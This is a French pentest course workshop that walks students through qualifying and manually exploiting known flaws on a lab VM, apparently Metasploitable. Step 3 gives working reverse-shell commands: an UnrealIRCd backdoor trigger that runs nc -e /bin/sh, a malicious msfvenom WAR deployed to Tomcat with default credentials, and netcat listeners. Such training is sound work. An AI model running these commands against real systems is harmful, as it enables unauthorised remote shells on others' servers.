Aller au contenu principal

Recherche de vulnérabilités — Atelier pratique

Vous avez vu deux prises tomber sans Metasploit. À vous d'en faire tomber une, puis d'en qualifier deux autres sans les exploiter (pour vous entraîner à écrire un tableau propre).

Compter : 2 h 30.

Livrable : ~/labs/semaine-05/rapport/vulnerabilites.md avec un tableau priorisé, et ~/labs/semaine-05/preuves/ avec les traces d'exploitation d'au moins une vulnérabilité.


Prérequis

  • Le lab de la semaine 4 monté (Kali + 10.10.10.12 + 10.10.10.20).
  • Le fichier ~/labs/semaine-04/scans/20-versions.nmap disponible.
  • searchsploit à jour :
sudo apt install exploitdb -y
sudo searchsploit -u
  • nuclei avec ses templates :
sudo apt install -y nuclei
nuclei -update-templates

Étape 1 — Choisir 3 vulnérabilités (10 min)

Ne prenez pas vsftpd ni Samba (déjà exploités en démo). Choisissez trois vulnérabilités différentes parmi :

  1. UnrealIRCd 3.2.8.1 — CVE-2010-2075. Backdoor délibérée dans le tarball 2009-2010.
  2. distccd — CVE-2004-2687. Absence d'authentification, exécution de code arbitraire.
  3. Tomcat 5.5 avec tomcat:tomcat — déploiement d'une WAR malveillante.
  4. Apache mod_userdir — énumération d'utilisateurs par /~<nom>.
  5. PostgreSQL 8.3 — authentification faible / dictionnaire.
  6. NFS mal configuré (port 2049) — export accessible sans authentification.
  7. X11 sur port 6000 — capture d'écran sans authentification.

Écrivez, dans rapport/vulnerabilites.md, votre choix des 3 et pourquoi.


Étape 2 — Qualifier chacune (30 min par vulnérabilité)

Pour chacune, produisez cette fiche complète :

## Vulnérabilité #<n> — <titre court>

### Identité
- Produit et version : <ex. UnrealIRCd 3.2.8.1>
- CVE : <ex. CVE-2010-2075>
- Bulletin d'origine : <lien URL ou source>
- Références KEV : <oui/non>

### Scores
- CVSS Base : ...
- CVSS Environmental (recalculé) : ... — justification en une phrase.
- EPSS actuelle : ... (source : https://api.first.org/data/v1/epss?cve=<CVE>)

### POC / Exploit
- Trouvé sur : Exploit-DB #<numéro> / GitHub <url>
- Lu avant exécution : oui/non
- Adaptations nécessaires à la cible : ...

### Preuve d'existence
- Requête envoyée (curl / nc / script) : ...
- Réponse observée : ...
- Fichier de preuve : preuves/<vulnerabilite>-*.txt

### Impact business (si le client était réel)
- ... (en une phrase par impact)

### Recommandation
- Mesure immédiate : ...
- Mesure de fond : ...

Ne bâclez aucune section. Le tableau final ne vaudra que si les fiches sont solides.


Étape 3 — Exploiter à la main au moins une (60 min)

Choisissez la vulnérabilité la plus simple de vos trois. Exploitez-la sans Metasploit.

Suggestion 1 — UnrealIRCd (Perl)

searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # ou l'ID trouvé

Lisez le script Perl. Il envoie une chaîne magique AB;<commande> qui déclenche l'exécution :

$socket->send("AB;system('nc -e /bin/sh 10.10.10.5 4444')\n");

Dans un premier terminal :

nc -lvnp 4444

Dans un deuxième :

perl 13853.pl 10.10.10.20 6667

Vérifiez que le premier terminal reçoit la connexion, tapez id, sauvegardez la trace dans preuves/unreal-shell.log.

Suggestion 2 — distcc (à la main)

# Requête distcc forgée (protocole texte)
printf 'DIST00000001\n' > payload
printf 'ARGC00000003\n' >> payload
# ...

Regardez le POC officiel Metasploit pour comprendre le protocole. Ne le lancez pas depuis Metasploit — écrivez votre propre distcc_pwn.py en 30 lignes.

Suggestion 3 — Tomcat manager (WAR)

# 1. Générer une WAR reverse shell (sans Metasploit ? on peut, avec msfvenom qui est ind\u00e9pendant)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f war -o shell.war

# 2. Déployer via l'API manager
curl -u tomcat:tomcat -T shell.war "http://10.10.10.20:8180/manager/deploy?path=/pwn"

# 3. Écouter
nc -lvnp 4444

# 4. Déclencher
curl http://10.10.10.20:8180/pwn/

Un shell tombe. Sauvez la trace dans preuves/tomcat-shell.log.


Étape 4 — Scanner large avec Nuclei (20 min)

En parallèle des exploitations, lancez :

nuclei -u http://10.10.10.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-20.txt

# Aussi sur Tomcat (port 8180) et phpMyAdmin
nuclei -u http://10.10.10.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-20-8180.txt

Notez les 5 trouvailles les plus intéressantes de nuclei dans votre rapport, avec une décision : exploitable / fuite d'info / faux positif.


Étape 5 — Nikto de contexte (15 min)

Lancez Nikto sur le port 80 :

nikto -h http://10.10.10.20 -Format txt -o preuves/nikto-20.txt

Sélectionnez, dans la sortie Nikto, au maximum 5 lignes qui sont de vraies pistes (fichiers oubliés, panels administratifs). Le reste est du bruit — ne le retenez pas.


Étape 6 — Consolider le tableau priorisé (20 min)

Ouvrez rapport/vulnerabilites.md et ajoutez le tableau final. Structure identique à la démonstration :

# Tableau priorisé — Lab semaine 5

## Cible 10.10.10.20 (Linux)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | ... | ... | ... | ... | ... | ... | exploité / à faire | preuves/... |
| P1b | ... | ... | ... | ... | ... | ... | ... | ... |
...

Règles pour ce tableau :

  • Au moins 6 lignes au total (les 3 fiches + les 3 trouvailles Nuclei/Nikto).
  • Au moins une en exploité avec preuve dans preuves/.
  • Aucune ligne sans Statut clair.
  • CVSS Environmental différent de la Base au moins une fois (montre que vous contextualisez).

Grille d'auto-évaluation

  • Trois vulnérabilités choisies (pas celles de la démo).
  • Trois fiches complètes (identité, scores, POC, preuve, impact, reco).
  • Au moins une vulnérabilité effectivement exploitée à la main, sans Metasploit.
  • Trace complète de l'exploitation dans preuves/.
  • Scan Nuclei complet sauvegardé, top-5 des trouvailles annotées.
  • Scan Nikto complet, 5 trouvailles retenues (le reste jeté).
  • Tableau priorisé final avec au moins 6 lignes et un CVSS Env recalculé.
  • Aucun POC exécuté sans avoir été lu avant.
  • Aucune action hors lab.

Ce qui bloque en général

SymptômeCauseCorrection
searchsploit ne trouve rienBase pas à joursudo searchsploit -u
POC Python ne fonctionne pasSyntaxe Python 2 vs 32to3 script.py -w
Nuclei sort 500 lignes de bruitTrop de tagsFiltrez -severity high,critical
Un exploit lance une action douteuseBackdoor dans le POCRepartez d'un POC officiel (Rapid7, Metasploit)
Nikto rend beaucoup tropNormalFiltrer à la main, jeter 80 %
L'exploit UnrealIRCd rend not vulnerableVersion différente ou déjà exploitéSnapshot revert de la VM

Extension optionnelle — Écrire son propre POC minimal

Prenez la plus simple des trois vulnérabilités et réécrivez le POC en Python 3, sans copier-coller. 30 lignes, avec :

  • Argument CLI (argparse).
  • Vérification de la version cible (bannière).
  • Envoi du payload.
  • Retour clair (SUCCESS / FAIL).

C'est l'exercice le plus formateur du cours. Un pentester qui sait écrire un POC ne dépend plus des outils.


Ce que vous emportez de cet atelier

  • L'instinct de qualifier une vulnérabilité avant de sauter dessus.
  • L'habitude de lire un POC avant de l'exécuter.
  • Une méthode pour transformer un tas de sorties de scanners en un tableau priorisé utilisable.
  • L'assurance de pouvoir exploiter certaines vulnérabilités sans framework. C'est ce qui vous fera passer, un jour, un test technique en entretien.